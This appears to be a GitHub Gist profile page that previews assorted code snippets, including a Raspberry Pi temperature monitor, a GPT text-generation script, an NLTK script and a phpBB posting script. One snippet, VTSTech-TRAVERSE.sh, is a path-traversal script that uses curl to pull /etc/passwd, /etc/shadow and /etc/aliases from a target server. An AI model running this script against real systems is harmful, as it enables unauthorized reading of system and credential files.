Skip to content

Instantly share code, notes, and snippets.

View VTSTech's full-sized avatar

Nigel Todman VTSTech

View GitHub Profile
@VTSTech
VTSTech / rpi.php
Last active December 19, 2024 21:27
Raspberry Pi RPi Temperature Monitor by VTSTech
<html>
<!-- If you get /dev/vcio error then 'sudo usermod -aG video www-data' -->
<?php
// Handle theme selection and refresh rate from GET parameters
$isDarkMode = isset($_GET['dark_mode']) ? ($_GET['dark_mode'] === 'on') : true; // Default to dark mode
$refreshRate = isset($_GET['refresh_rate']) && is_numeric($_GET['refresh_rate']) ? (int)$_GET['refresh_rate'] : 10; // Default to 10 seconds
// Define styles for light and dark themes
if ($isDarkMode) {
$bgColor = '000000';
@VTSTech
VTSTech / VTSTech-TRAVERSE.sh
Last active October 14, 2024 14:31
VTSTech-TRAVERSE v0.3 - www.vts-tech.org
#!/bin/bash
echo "VTSTech-TRAVERSE v0.3 - www.vts-tech.org"
IP="$1"
PORT="$2"
OUTPUT_DIR=$(pwd)
TRAVERSE="../../../../../../../../../../../../../../../../../../../.." #modify as needed
PARAMS="/" #modify as needed
curl --output-dir $OUTPUT_DIR --create-dirs --path-as-is http://$IP:$PORT$PARAMS$TRAVERSE/etc/passwd -o ./etc/passwd
curl --output-dir $OUTPUT_DIR --create-dirs --path-as-is http://$IP:$PORT$PARAMS$TRAVERSE/etc/shadow -o ./etc/shadow
curl --output-dir $OUTPUT_DIR --create-dirs --path-as-is http://$IP:$PORT$PARAMS$TRAVERSE/etc/aliases -o ./etc/aliases
@VTSTech
VTSTech / VTSTech-GPT.py
Last active January 28, 2025 18:02
VTSTech-GPT - Generate text with Cerebras GPT pretrained and Corianas finetuned models
# Program: VTSTech-GPT.py 2025-01-28 1:02:59 PM
# Description: Python script that generates text with Cerebras GPT pretrained and Corianas finetuned models
# Author: Written by Veritas//VTSTech ([email protected])
# GitHub: https://github.com/VTSTech
# Homepage: www.VTS-Tech.org
# Dependencies: transformers, colorama, Flask
# pip install transformers colorama flask
# Models are stored at C:\Users\%username%\.cache\huggingface\hub
import argparse
import time
#ifdef _WIN32
// taken from https://stackoverflow.com/questions/28027937/cross-platform-sockets
/* See http://stackoverflow.com/questions/12765743/getaddrinfo-on-win32 */
#ifndef _WIN32_WINNT
#define _WIN32_WINNT 0x0501 /* Windows XP. */
#endif
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib,"ws2_32.lib") //Winsock Library
#else
@Nenkai
Nenkai / GT5_Lan_Mode_Guide.md
Last active October 20, 2024 10:17
Guide for playing Gran Turismo 5 online using the hidden LAN Mode.

Gran Turismo 5 - "Online" LAN Guide

Welcome to the Gran Turismo 5 Lan Guide - Bringing the online back to the good old days.

This is the maintained text version of the guide, recommended for most users. Below are the other versions.

Table of Contents

@VTSTech
VTSTech / VTSTech-COVID19.py
Last active March 16, 2020 14:27
COVID-19 JHU.EDU CSSE Data Analytics by VTSTech (www.VTS-Tech.org)
#Moved to GitHub https://github.com/Veritas83/VTSTech-COVID19.py
@VTSTech
VTSTech / VTSTech-NLTK.py
Last active May 3, 2024 01:17
VTSTech-NLTK Script v0.43
#NLTK Script v0.43 2020-03-14 12:16:31 AM
#Written by VTSTech ([email protected])
#Various functions inspired by code from sentdex/pythonprogramming.net
#https://pythonprogramming.net/tokenizing-words-sentences-nltk-tutorial/
#Various functions inspired by code from Natural Language Processing with Python
#by Steven Bird, Ewan Klein and Edward Loper - http://www.nltk.org/book/ch01.html
import sys, nltk, os, string, random
from nltk import pos_tag
from nltk.tokenize import sent_tokenize, word_tokenize, SpaceTokenizer, PunktSentenceTokenizer
@Ereza
Ereza / submit_post.php
Last active June 15, 2024 05:23
Sample script to add a new post to a phpBB forum as a specific user
<?php
define('IN_PHPBB', true);
$phpbb_root_path = '../forum/';
$phpEx = substr(strrchr(__FILE__, '.') , 1);
include ($phpbb_root_path . 'common.' . $phpEx);
include ($phpbb_root_path . 'includes/functions_posting.' . $phpEx);
$user_id = 755;
$forum_id = 32;
$subject = 'Missatge de prova';
@EyalAr
EyalAr / client.py
Created December 11, 2013 18:17
Demo code for my post about python's blocking stream reading functions.
from subprocess import Popen, PIPE
from time import sleep
# run the shell as a subprocess:
p = Popen(['python', 'shell.py'],
stdin = PIPE, stdout = PIPE, stderr = PIPE, shell = False)
# issue command:
p.stdin.write('command\n')
# let the shell output the result:
sleep(0.1)